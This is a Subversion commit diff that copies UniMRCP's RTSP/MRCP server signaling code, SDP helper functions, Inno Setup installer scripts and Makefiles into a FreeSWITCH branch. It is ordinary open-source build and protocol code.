+			descriptor->resource_state = TRUE;
+		}
+		else {
+			apt_string_assign(&descriptor->resource_name,resource_name,pool);
+			descriptor->resource_state = TRUE;
+		}
+
+		sdp_parser_free(parser);
+	}
+	else {
+		descriptor->resource_state = FALSE;
+	}
+	return descriptor;
+}
+
+/** Generate RTSP resource discovery response */
+MRCP_DECLARE(rtsp_message_t*) rtsp_resource_discovery_response_generate(
+											const rtsp_message_t *request, 
+											const char *ip,
+											const char *origin,
+											apr_pool_t *pool)
+{
+	rtsp_message_t *response = rtsp_response_create(request,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,pool);
+	if(response) {
+		apr_size_t offset = 0;
+		char buffer[2048];
+		apr_size_t size = sizeof(buffer);
+		
+		if(!ip) {
+			ip = "0.0.0.0";
+		}
+		if(!origin) {
+			origin = "-";
+		}
+		
+		buffer[0] = '\0';
+		offset += snprintf(buffer+offset,size-offset,
+			"v=0\r\n"
+			"o=%s 0 0 IN IP4 %s\r\n"
+			"s=-\r\n"
+			"c=IN IP4 %s\r\n"
+			"t=0 0\r\n"
+			"m=audio 0 RTP/AVP 0 8\r\n"
+			"a=rtpmap:0 PCMU/8000\r\n"
+			"a=rtpmap:8 PCMA/8000\r\n",
+			origin,
+			ip,
+			ip);
+		
+		response->header.transport.protocol = RTSP_TRANSPORT_RTP;
+		response->header.transport.profile = RTSP_PROFILE_AVP;
+		response->header.transport.delivery = RTSP_DELIVERY_UNICAST;
+		rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_TRANSPORT);
+
+		if(offset) {
+			apt_string_assign_n(&response->body,buffer,offset,pool);
+			response->header.content_type = RTSP_CONTENT_TYPE_SDP;
+			rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE);
+			response->header.content_length = offset;
+			rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH);
+		}
+	}
+
+	return response;
+}
+
+/** Get MRCP resource name by RTSP resource name */
+MRCP_DECLARE(const char*) mrcp_name_get_by_rtsp_name(const apr_table_t *resource_map, const char *rtsp_name)
+{
+	const apr_array_header_t *header = apr_table_elts(resource_map);
+	apr_table_entry_t *entry = (apr_table_entry_t *)header->elts;
+	int i;
+	
+	for(i=0; i<header->nelts; i++) {
+		if(entry[i].val && rtsp_name) {
+			if(apr_strnatcasecmp(entry[i].val,rtsp_name) == 0) {
+				return entry[i].key;
+			}
+		}
+	}
+	return rtsp_name;
+}
+
+/** Get RTSP resource name by MRCP resource name */
+MRCP_DECLARE(const char*) rtsp_name_get_by_mrcp_name(const apr_table_t *resource_map, const char *mrcp_name)
+{
+	const char *rtsp_name = apr_table_get(resource_map,mrcp_name);
+	if(rtsp_name) {
+		return rtsp_name;
+	}
+	return mrcp_name;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_server_agent.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_server_agent.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_server_agent.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_server_agent.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_server_agent.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,381 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_general.h>
+#include <sofia-sip/sdp.h>
+
+#include "mrcp_unirtsp_server_agent.h"
+#include "mrcp_session.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_message.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_stream.h"
+#include "rtsp_server.h"
+#include "mrcp_unirtsp_sdp.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define UNIRTSP_TASK_NAME "UniRTSP Agent"
+
+typedef struct mrcp_unirtsp_agent_t mrcp_unirtsp_agent_t;
+typedef struct mrcp_unirtsp_session_t mrcp_unirtsp_session_t;
+
+struct mrcp_unirtsp_agent_t {
+	mrcp_sig_agent_t     *sig_agent;
+	rtsp_server_t        *rtsp_server;
+
+	rtsp_server_config_t *config;
+};
+
+struct mrcp_unirtsp_session_t {
+	mrcp_session_t        *mrcp_session;
+	rtsp_server_session_t *rtsp_session;
+	su_home_t             *home;
+};
+
+
+static apt_bool_t mrcp_unirtsp_on_session_answer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_unirtsp_on_session_terminate(mrcp_session_t *session);
+static apt_bool_t mrcp_unirtsp_on_session_control(mrcp_session_t *session, mrcp_message_t *message);
+
+static const mrcp_session_response_vtable_t session_response_vtable = {
+	mrcp_unirtsp_on_session_answer,
+	mrcp_unirtsp_on_session_terminate,
+	mrcp_unirtsp_on_session_control
+};
+
+static apt_bool_t mrcp_unirtsp_session_create(rtsp_server_t *server, rtsp_server_session_t *session);
+static apt_bool_t mrcp_unirtsp_session_terminate(rtsp_server_t *server, rtsp_server_session_t *session);
+static apt_bool_t mrcp_unirtsp_message_handle(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message);
+
+static const rtsp_server_vtable_t session_request_vtable = {
+	mrcp_unirtsp_session_create,
+	mrcp_unirtsp_session_terminate,
+	mrcp_unirtsp_message_handle
+};
+
+
+static apt_bool_t rtsp_config_validate(mrcp_unirtsp_agent_t *agent, rtsp_server_config_t *config, apr_pool_t *pool);
+
+
+/** Create UniRTSP Signaling Agent */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_unirtsp_server_agent_create(rtsp_server_config_t *config, apr_pool_t *pool)
+{
+	apt_task_t *task;
+	mrcp_unirtsp_agent_t *agent;
+	agent = apr_palloc(pool,sizeof(mrcp_unirtsp_agent_t));
+	agent->sig_agent = mrcp_signaling_agent_create(agent,MRCP_VERSION_1,pool);
+	agent->config = config;
+
+	if(rtsp_config_validate(agent,config,pool) == FALSE) {
+		return NULL;
+	}
+
+	agent->rtsp_server = rtsp_server_create(
+								config->local_ip,
+								config->local_port,
+								config->max_connection_count,
+								agent,
+								&session_request_vtable,
+								pool);
+	if(!agent->rtsp_server) {
+		return NULL;
+	}
+	
+	task = rtsp_server_task_get(agent->rtsp_server);
+	apt_task_name_set(task,UNIRTSP_TASK_NAME);
+	agent->sig_agent->task = task;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "UNIRTSP_TASK_NAME" %s:%hu [%d]",
+		config->local_ip,
+		config->local_port,
+		config->max_connection_count);
+	return agent->sig_agent;
+}
+
+/** Allocate UniRTSP config */
+MRCP_DECLARE(rtsp_server_config_t*) mrcp_unirtsp_server_config_alloc(apr_pool_t *pool)
+{
+	rtsp_server_config_t *config = apr_palloc(pool,sizeof(rtsp_server_config_t));
+	config->local_ip = NULL;
+	config->local_port = 0;
+	config->origin = NULL;
+	config->resource_location = NULL;
+	config->resource_map = apr_table_make(pool,2);
+	config->max_connection_count = 100;
+	config->force_destination = FALSE;
+	return config;
+}
+
+
+static apt_bool_t rtsp_config_validate(mrcp_unirtsp_agent_t *agent, rtsp_server_config_t *config, apr_pool_t *pool)
+{
+	if(!config->local_ip) {
+		return FALSE;
+	}
+	agent->config = config;
+	return TRUE;
+}
+
+static APR_INLINE mrcp_unirtsp_agent_t* server_agent_get(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_unirtsp_agent_t *agent = apt_consumer_task_object_get(consumer_task);
+	return agent;
+}
+
+static apt_bool_t mrcp_unirtsp_session_create(rtsp_server_t *rtsp_server, rtsp_server_session_t *rtsp_session)
+{
+	mrcp_unirtsp_agent_t *agent = rtsp_server_object_get(rtsp_server);
+	const apt_str_t *session_id;
+	mrcp_unirtsp_session_t *session;
+	mrcp_session_t* mrcp_session = agent->sig_agent->create_server_session(agent->sig_agent);
+	if(!mrcp_session) {
+		return FALSE;
+	}
+	session_id = rtsp_server_session_id_get(rtsp_session);
+	if(session_id) {
+		mrcp_session->id = *session_id;
+	}
+	mrcp_session->response_vtable = &session_response_vtable;
+	mrcp_session->event_vtable = NULL;
+
+	session = apr_palloc(mrcp_session->pool,sizeof(mrcp_unirtsp_session_t));
+	session->mrcp_session = mrcp_session;
+	mrcp_session->obj = session;
+	
+	session->home = su_home_new(sizeof(*session->home));
+
+	rtsp_server_session_object_set(rtsp_session,session);
+	session->rtsp_session = rtsp_session;
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_session_terminate(rtsp_server_t *rtsp_server, rtsp_server_session_t *rtsp_session)
+{
+	mrcp_unirtsp_session_t *session	= rtsp_server_session_object_get(rtsp_session);
+	if(!session) {
+		return FALSE;
+	}
+	return mrcp_session_terminate_request(session->mrcp_session);
+}
+
+static void mrcp_unirtsp_session_destroy(mrcp_unirtsp_session_t *session)
+{
+	if(session->home) {
+		su_home_unref(session->home);
+		session->home = NULL;
+	}
+	rtsp_server_session_object_set(session->rtsp_session,NULL);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Session "APT_SID_FMT,MRCP_SESSION_SID(session->mrcp_session));
+	mrcp_session_destroy(session->mrcp_session);
+}
+
+static apt_bool_t mrcp_unirtsp_session_announce(mrcp_unirtsp_agent_t *agent, mrcp_unirtsp_session_t *session, rtsp_message_t *message)
+{
+	const char *resource_name = mrcp_name_get_by_rtsp_name(
+		agent->config->resource_map,
+		message->start_line.common.request_line.resource_name);
+	apt_bool_t status = TRUE;
+
+	if(session && resource_name &&
+		rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE) == TRUE &&
+		message->header.content_type == RTSP_CONTENT_TYPE_MRCP &&
+		rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE &&
+		message->header.content_length > 0) {
+
+		apt_text_stream_t text_stream;
+		mrcp_parser_t *parser;
+		apt_str_t resource_name_str;
+
+		text_stream.text = message->body;
+		text_stream.pos = text_stream.text.buf;
+		apt_string_set(&resource_name_str,resource_name);
+
+		parser = mrcp_parser_create(agent->sig_agent->resource_factory,session->mrcp_session->pool);
+		mrcp_parser_resource_name_set(parser,&resource_name_str);
+		if(mrcp_parser_run(parser,&text_stream) == MRCP_STREAM_MESSAGE_COMPLETE) {
+			mrcp_message_t *mrcp_message = mrcp_parser_message_get(parser);
+			mrcp_message->channel_id.session_id = message->header.session_id;
+			status = mrcp_session_control_request(session->mrcp_session,mrcp_message);
+		}
+		else {
+			/* error response */
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse MRCPv1 Message");
+			status = FALSE;
+		}
+	}
+	else {
+		/* error response */
+		status = FALSE;
+	}
+	return status;
+}
+
+static apt_bool_t mrcp_unirtsp_message_handle(rtsp_server_t *rtsp_server, rtsp_server_session_t *rtsp_session, rtsp_message_t *rtsp_message)
+{
+	apt_bool_t status = FALSE;
+	mrcp_unirtsp_agent_t *agent = rtsp_server_object_get(rtsp_server);
+	mrcp_unirtsp_session_t *session	= rtsp_server_session_object_get(rtsp_session);
+	if(!session) {
+		return FALSE;
+	}
+
+	switch(rtsp_message->start_line.common.request_line.method_id) {
+		case RTSP_METHOD_SETUP:
+		case RTSP_METHOD_TEARDOWN:
+		{
+			const char *force_destination_ip = NULL;
+			mrcp_session_descriptor_t *descriptor;
+
+			if(agent->config->force_destination == TRUE) {
+				force_destination_ip = rtsp_server_session_destination_get(rtsp_session);
+			}
+			descriptor = mrcp_descriptor_generate_by_rtsp_request(
+							rtsp_message,
+							force_destination_ip,
+							agent->config->resource_map,
+							session->mrcp_session->pool,
+							session->home);
+			if(!descriptor) {
+				rtsp_message_t *response = rtsp_response_create(rtsp_message,
+										RTSP_STATUS_CODE_BAD_REQUEST,
+										RTSP_REASON_PHRASE_BAD_REQUEST,
+										rtsp_message->pool);
+				status = rtsp_server_session_respond(rtsp_server,session->rtsp_session,response);
+				break;
+			}
+			status = mrcp_session_offer(session->mrcp_session,descriptor);
+			break;
+		}
+		case RTSP_METHOD_ANNOUNCE:
+		{
+			status = mrcp_unirtsp_session_announce(agent,session,rtsp_message);
+			break;
+		}
+		case RTSP_METHOD_DESCRIBE:
+		{
+			rtsp_message_t *response = rtsp_resource_discovery_response_generate(
+						rtsp_message,
+						agent->config->local_ip,
+						agent->config->origin,
+						session->mrcp_session->pool);
+			status = rtsp_server_session_respond(rtsp_server,session->rtsp_session,response);
+			break;
+		}
+		default:
+			break;
+	}
+
+	return status;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_answer(mrcp_session_t *mrcp_session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+	rtsp_message_t *response = NULL;
+	const rtsp_message_t *request = rtsp_server_session_request_get(session->rtsp_session);
+	if(!request) {
+		return FALSE;
+	}
+
+	if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) {
+		if(agent->config->origin) {
+			apt_string_set(&descriptor->origin,agent->config->origin);
+		}
+
+		response = rtsp_response_generate_by_mrcp_descriptor(
+						request,
+						descriptor,
+						agent->config->resource_map,
+						mrcp_session->pool);
+	}
+	else if(request->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) {
+		response = rtsp_response_create(request,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,mrcp_session->pool);
+	}
+
+	if(!response) {
+		return FALSE;
+	}
+	rtsp_server_session_respond(agent->rtsp_server,session->rtsp_session,response);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_terminate(mrcp_session_t *mrcp_session)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	rtsp_server_session_t *rtsp_session = session->rtsp_session;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+
+	mrcp_unirtsp_session_destroy(session);
+	rtsp_server_session_terminate(agent->rtsp_server,rtsp_session);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_control(mrcp_session_t *mrcp_session, mrcp_message_t *mrcp_message)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+
+	char buffer[500];
+	apt_text_stream_t stream;
+	rtsp_message_t *rtsp_message = NULL;
+	apt_str_t *body;
+
+	apt_text_stream_init(&stream,buffer,sizeof(buffer));
+
+	mrcp_message->start_line.version = MRCP_VERSION_1;
+	if(mrcp_message_generate(agent->sig_agent->resource_factory,mrcp_message,&stream) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate MRCPv1 Message");
+		return FALSE;
+	}
+	stream.text.length = stream.pos - stream.text.buf;
+
+	if(mrcp_message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* send RTSP response (OK) */
+		const rtsp_message_t *request = rtsp_server_session_request_get(session->rtsp_session);
+		if(request) {
+			rtsp_message = rtsp_response_create(request,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,mrcp_session->pool);
+		}
+	}
+	else if(mrcp_message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		/* send RTSP announce */
+		rtsp_message = rtsp_request_create(mrcp_session->pool);
+		rtsp_message->start_line.common.request_line.method_id = RTSP_METHOD_ANNOUNCE;
+	}
+
+	if(!rtsp_message) {
+		return FALSE;
+	}
+
+	body = &rtsp_message->body;
+	body->length = mrcp_message->start_line.length;
+	body->buf = apr_palloc(rtsp_message->pool,body->length+1);
+	memcpy(body->buf,stream.text.buf,stream.text.length);
+	if(mrcp_message->body.length) {
+		memcpy(body->buf+stream.text.length,mrcp_message->body.buf,mrcp_message->body.length);
+	}
+	body->buf[body->length] = '\0';
+
+	rtsp_message->header.content_type = RTSP_CONTENT_TYPE_MRCP;
+	rtsp_header_property_add(&rtsp_message->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE);
+	rtsp_message->header.content_length = body->length;
+	rtsp_header_property_add(&rtsp_message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH);
+
+	rtsp_server_session_respond(agent->rtsp_server,session->rtsp_session,rtsp_message);
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/packages (from rev 14471, freeswitch/trunk/libs/unimrcp/packages)

Copied: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup (from rev 14471, freeswitch/trunk/libs/unimrcp/packages/inno-setup)

Deleted: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/setup.iss

Copied: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/setup.iss (from rev 14471, freeswitch/trunk/libs/unimrcp/packages/inno-setup/setup.iss) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/setup.iss	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/setup.iss	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+#define uni_version "0.6.0"
+
+AppName=UniMRCP
+AppVerName=UniMRCP-{#= uni_version}
+AppPublisher=UniMRCP
+AppPublisherURL=http://www.unimrcp.org/
+AppSupportURL=http://groups.google.com/group/unimrcp
+AppUpdatesURL=http://code.google.com/p/unimrcp/downloads/list
+DefaultDirName={pf}\UniMRCP
+DefaultGroupName=UniMRCP
+Compression=lzma
+InternalCompressLevel=max
+SolidCompression=true
+

Deleted: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp-sdk.iss

Copied: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp-sdk.iss (from rev 14471, freeswitch/trunk/libs/unimrcp/packages/inno-setup/unimrcp-sdk.iss) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp-sdk.iss	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp-sdk.iss	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+[Setup]
+#include "setup.iss"
+OutputBaseFilename=unimrcp-sdk-{#= uni_version}
+
+[Types]
+Name: "full"; Description: "Full installation"
+Name: "sdk"; Description: "SDK installation"
+Name: "docs"; Description: "Documentation installation"
+Name: "custom"; Description: "Custom installation"; Flags: iscustom
+
+[Components]
+Name: "sdk"; Description: "UniMRCP SDK (client, server and plugin development)"; Types: full sdk
+Name: "docs"; Description: "UniMRCP documentation"; Types: full docs
+Name: "docs\design"; Description: "Design concepts"; Types: full docs
+Name: "docs\api"; Description: "API"; Types: full docs
+
+[Files]
+Source: "..\..\libs\apr\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\apr-toolkit\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mpf\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp\message\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp\control\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp\resources\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp-engine\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp-signaling\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcpv2-transport\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp-client\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\libs\mrcp-server\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\platforms\libunimrcp-client\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\platforms\libunimrcp-server\include\*.h"; DestDir: "{app}\include"; Components: sdk
+Source: "..\..\Release\bin\*.lib"; DestDir: "{app}\lib"; Components: sdk
+Source: "..\..\libs\apr\Release\*.lib"; DestDir: "{app}\lib"; Components: sdk
+Source: "..\..\libs\apr-util\Release\*.lib"; DestDir: "{app}\lib"; Components: sdk
+Source: "..\..\libs\sofia-sip\win32\libsofia-sip-ua\Release\*.lib"; DestDir: "{app}\lib"; Components: sdk
+Source: "..\..\build\vsprops\sdk\*.vsprops"; DestDir: "{app}\vsprops"; Components: sdk; AfterInstall: SetProjectPath()
+Source: "..\..\docs\ea\*"; DestDir: "{app}\doc\ea"; Components: docs/design; Flags: recursesubdirs
+Source: "..\..\docs\dox\*"; DestDir: "{app}\doc\dox"; Components: docs/api; Flags: recursesubdirs
+
+[Icons]
+Name: "{group}\UniMRCP Docs\Design concepts"; Filename: "{app}\doc\ea\index.htm"; Components: docs\design
+Name: "{group}\UniMRCP Docs\API"; Filename: "{app}\doc\dox\html\index.html"; Components: docs\api
+Name: "{group}\Uninstall"; Filename: "{uninstallexe}"
+
+[Code]
+procedure SetProjectPath();
+var
+  VspropsFile: String;
+  Content: String;
+begin
+  VspropsFile := ExpandConstant('{app}\vsprops\unimrcpsdk.vsprops');
+  LoadStringFromFile (VspropsFile, Content);
+  StringChange (Content, 'Value="C:\Program Files\UniMRCP"', ExpandConstant('Value="{app}"'));
+  SaveStringToFile (VspropsFile, Content, False);
+end;
+

Deleted: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp.iss

Copied: freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp.iss (from rev 14471, freeswitch/trunk/libs/unimrcp/packages/inno-setup/unimrcp.iss) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp.iss	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/packages/inno-setup/unimrcp.iss	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,85 @@
+[Setup]
+#include "setup.iss"
+OutputBaseFilename=unimrcp-{#= uni_version}
+
+[Types]
+Name: "full"; Description: "Full installation"
+Name: "server"; Description: "Server installation"
+Name: "client"; Description: "Client installation"
+Name: "custom"; Description: "Custom installation"; Flags: iscustom
+
+[Components]
+Name: "server"; Description: "UniMRCP server"; Types: full server
+Name: "server\cepstral"; Description: "Cepstral synthesizer plugin"; Types: full server
+Name: "server\demosynth"; Description: "Demo synthesizer plugin"; Types: full server
+Name: "server\demorecog"; Description: "Demo recognizer plugin"; Types: full server
+Name: "client"; Description: "UniMRCP client (demo application)"; Types: full client
+
+[Dirs]
+Name: "{app}\data"; Permissions: everyone-full;
+Name: "{app}\log"; Permissions: everyone-full;
+
+[Files]
+#define uni_root "..\..\Release"
+Source: "{#= uni_root}\bin\unimrcpserver.exe"; DestDir: "{app}\bin"; Components: server
+Source: "{#= uni_root}\bin\unimrcpservice.exe"; DestDir: "{app}\bin"; Components: server
+Source: "{#= uni_root}\bin\unimrcpclient.exe"; DestDir: "{app}\bin"; Components: client
+Source: "{#= uni_root}\bin\*.dll"; DestDir: "{app}\bin"; Components: server client
+Source: "{#= uni_root}\plugin\mrcpcepstral.dll"; DestDir: "{app}\plugin"; Components: server/cepstral
+Source: "{#= uni_root}\plugin\demosynth.dll"; DestDir: "{app}\plugin"; Components: server/demosynth
+Source: "{#= uni_root}\plugin\demorecog.dll"; DestDir: "{app}\plugin"; Components: server/demorecog
+Source: "{#= uni_root}\conf\unimrcpserver.xml"; DestDir: "{app}\conf"; Components: server
+Source: "{#= uni_root}\conf\unimrcpclient.xml"; DestDir: "{app}\conf"; Components: client
+Source: "{#= uni_root}\data\*.pcm"; DestDir: "{app}\data"; Components: server client
+Source: "{#= uni_root}\data\*.xml"; DestDir: "{app}\data"; Components: server client
+
+[Icons]
+Name: "{group}\UniMRCP Server Console"; Filename: "{app}\bin\unimrcpserver.exe"; Parameters: "--root-dir ""{app}"""; Components: server
+Name: "{group}\UniMRCP Client Console"; Filename: "{app}\bin\unimrcpclient.exe"; Parameters: "--root-dir ""{app}"""; Components: client
+Name: "{group}\UniMRCP Service\Start Server"; Filename: "{app}\bin\unimrcpservice.exe"; Parameters: "--start"; Components: server
+Name: "{group}\UniMRCP Service\Stop Server"; Filename: "{app}\bin\unimrcpservice.exe"; Parameters: "--stop"; Components: server
+Name: "{group}\Uninstall"; Filename: "{uninstallexe}"
+
+[Run]
+Filename: "{app}\bin\unimrcpservice.exe"; Description: "Register service"; Parameters: "--register ""{app}"""; Components: server
+
+[UninstallRun]
+Filename: "{app}\bin\unimrcpservice.exe"; Parameters: "--unregister"; Components: server
+
+[Code]
+var
+  Content: String;
+  
+procedure ModifyPluginConf(PluginName: String; Enable: Boolean);
+var
+  TextFrom: String;
+  TextTo: String;
+begin
+  if Enable = True then
+  begin
+    TextFrom := 'class="' + PluginName + '" enable="0"';
+    TextTo := 'class="' + PluginName + '" enable="1"';
+  end
+  else
+  begin
+    TextFrom := 'class="' + PluginName + '" enable="1"';
+    TextTo := 'class="' + PluginName + '" enable="0"';
+  end
+  StringChange (Content, TextFrom, TextTo);
+end;
+
+procedure CurStepChanged(CurStep: TSetupStep);
+var
+  CfgFile: String;
+begin
+  if CurStep = ssPostInstall then
+  begin
+    CfgFile := ExpandConstant('{app}\conf\unimrcpserver.xml');
+    LoadStringFromFile (CfgFile, Content);
+    ModifyPluginConf ('mrcpcepstral', IsComponentSelected('server\cepstral'));
+    ModifyPluginConf ('demosynth', IsComponentSelected('server\demosynth'));
+    ModifyPluginConf ('demorecog', IsComponentSelected('server\demorecog'));
+    SaveStringToFile (CfgFile, Content, False);
+  end
+end;
+

Copied: freeswitch/branches/seven/libs/unimrcp/platforms (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms)

Property changes: freeswitch/branches/seven/libs/unimrcp/platforms


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                = libunimrcp-server unimrcp-server \
+                         libunimrcp-client unimrcp-client

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client)

Property changes: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client


Name: svn:ignore
   + Makefile.in
*.user
Release
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,34 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/platforms/libunimrcp-client/include \
+                              -I$(top_srcdir)/modules/mrcp-sofiasip/include \
+                              -I$(top_srcdir)/modules/mrcp-unirtsp/include \
+                              -I$(top_srcdir)/libs/mrcp-client/include \
+                              -I$(top_srcdir)/libs/mrcp-signaling/include \
+                              -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              -I$(top_srcdir)/build \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+lib_LTLIBRARIES             = libunimrcpclient.la
+
+include_HEADERS             = include/unimrcp_client.h
+
+libunimrcpclient_la_SOURCES = src/unimrcp_client.c
+
+libunimrcpclient_la_LIBADD  = $(top_builddir)/modules/mrcp-sofiasip/libmrcpsofiasip.la \
+                              $(top_builddir)/modules/mrcp-unirtsp/libmrcpunirtsp.la \
+                              $(top_builddir)/libs/mrcpv2-transport/libmrcpv2transport.la \
+                              $(top_builddir)/libs/mrcp-client/libmrcpclient.la \
+                              $(top_builddir)/libs/mrcp-signaling/libmrcpsignaling.la \
+                              $(top_builddir)/libs/mrcp/libmrcp.la \
+                              $(top_builddir)/libs/mpf/libmpf.la \
+                              $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                              $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS) $(UNIMRCP_SOFIA_LIBS)
+                              
+libunimrcpclient_la_LDFLAGS = $(UNI_LT_VERSION)

